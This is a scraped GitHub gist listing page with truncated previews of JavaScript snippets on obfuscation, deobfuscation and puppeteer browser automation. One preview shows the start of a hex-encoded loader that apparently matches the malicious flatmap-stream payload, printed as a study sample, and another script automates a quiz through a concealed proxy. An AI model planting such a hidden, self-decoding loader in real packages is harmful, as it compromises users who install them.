Skip to content

Instantly share code, notes, and snippets.

@jsoverson
jsoverson / random-obfuscated.js
Last active August 14, 2020 14:34
Generic obfuscated JavaScript file
var _0x4fa2 = [
'zgvMAw5LuhjVCgvYDhK=',
'x19LC01VzhvSzq==',
'y29TCg91BMrbC3nPz25Tzw50t3bLCMf0B3jnyxa=',
'Dw5HCNLpCgvYyxrVCK1HCa==',
'yMLUyxj5t3bLCMf0B3jnyxa=',
'pt09',
'it09',
'Aw5ZDgfUy2vVzG==',
'pJ4+',
@jsoverson
jsoverson / local-puppeteer.ts
Created June 17, 2020 15:38
Using puppeteer@4.0.0 with typescript
import { Puppeteer } from 'puppeteer/lib/Puppeteer';
import findRoot from 'find-root';
import path from 'path';
import { initializePuppeteer } from 'puppeteer/lib/index';
const puppeteer = initializePuppeteer({
packageJson: require(path.join(findRoot(require.resolve('puppeteer')), 'package.json')),
rootDirectory: findRoot(require.resolve('puppeteer')),
});
! function() {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
@jsoverson
jsoverson / puppeteer-base.js
Created February 22, 2019 15:00
Base puppeteer script
const puppeteer = require('puppeteer');
(async function main(){
const browser = await puppeteer.launch({
headless:false,
defaultViewport:null,
devtools: true
});
const page = (await browser.pages())[0];
@jsoverson
jsoverson / index.js
Created November 13, 2019 01:31
Chrome Dev Summit's BigWebQuiz automation script
const puppeteer = require("puppeteer");
async function launch() {
const browser = await puppeteer.launch({
args: ["–proxy-server=<<secret>>"]
});
const page = await browser.newPage();
await page.authenticate({
(function () {
class c {
constructor(d) {
this.target = d;
}
greet() {
console.log("Hello " + this.target);
}
setTarget(e) {
this.target = e;
var a = [
"\x73\x65\x74\x54\x61\x72\x67\x65\x74",
"\x77\x6f\x72\x6c\x64",
"\x72\x65\x61\x64\x65\x72",
"\x74\x61\x72\x67\x65\x74",
"\x67\x72\x65\x65\x74",
"\x6c\x6f\x67",
"\x48\x65\x6c\x6c\x6f\x20"
];
(function(c, d) {
@jsoverson
jsoverson / js-identifiers.js
Created July 10, 2019 15:15
Hacking JS with JS medium post
const { traverse } = require("shift-traverser");
module.exports = function(ast) {
const ids = [];
traverse(ast, {
enter(node, parent) {
if (node.type === "VariableDeclarator") {
if (node.binding.type === "ObjectBinding") {
node.binding.properties.forEach(prop => ids.push(prop.binding.name));
if (node.binding.rest) ids.push(node.binding.rest.name);
@jsoverson
jsoverson / puppeteer-request-echo.js
Created March 26, 2019 16:07
Puppeteer echo request headers
const puppeteer = require('puppeteer');
(async() => {
const browser = await puppeteer.launch({
});
const page = (await browser.pages())[0];
const response = await page.goto('http://scooterlabs.com/echo.json');
var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};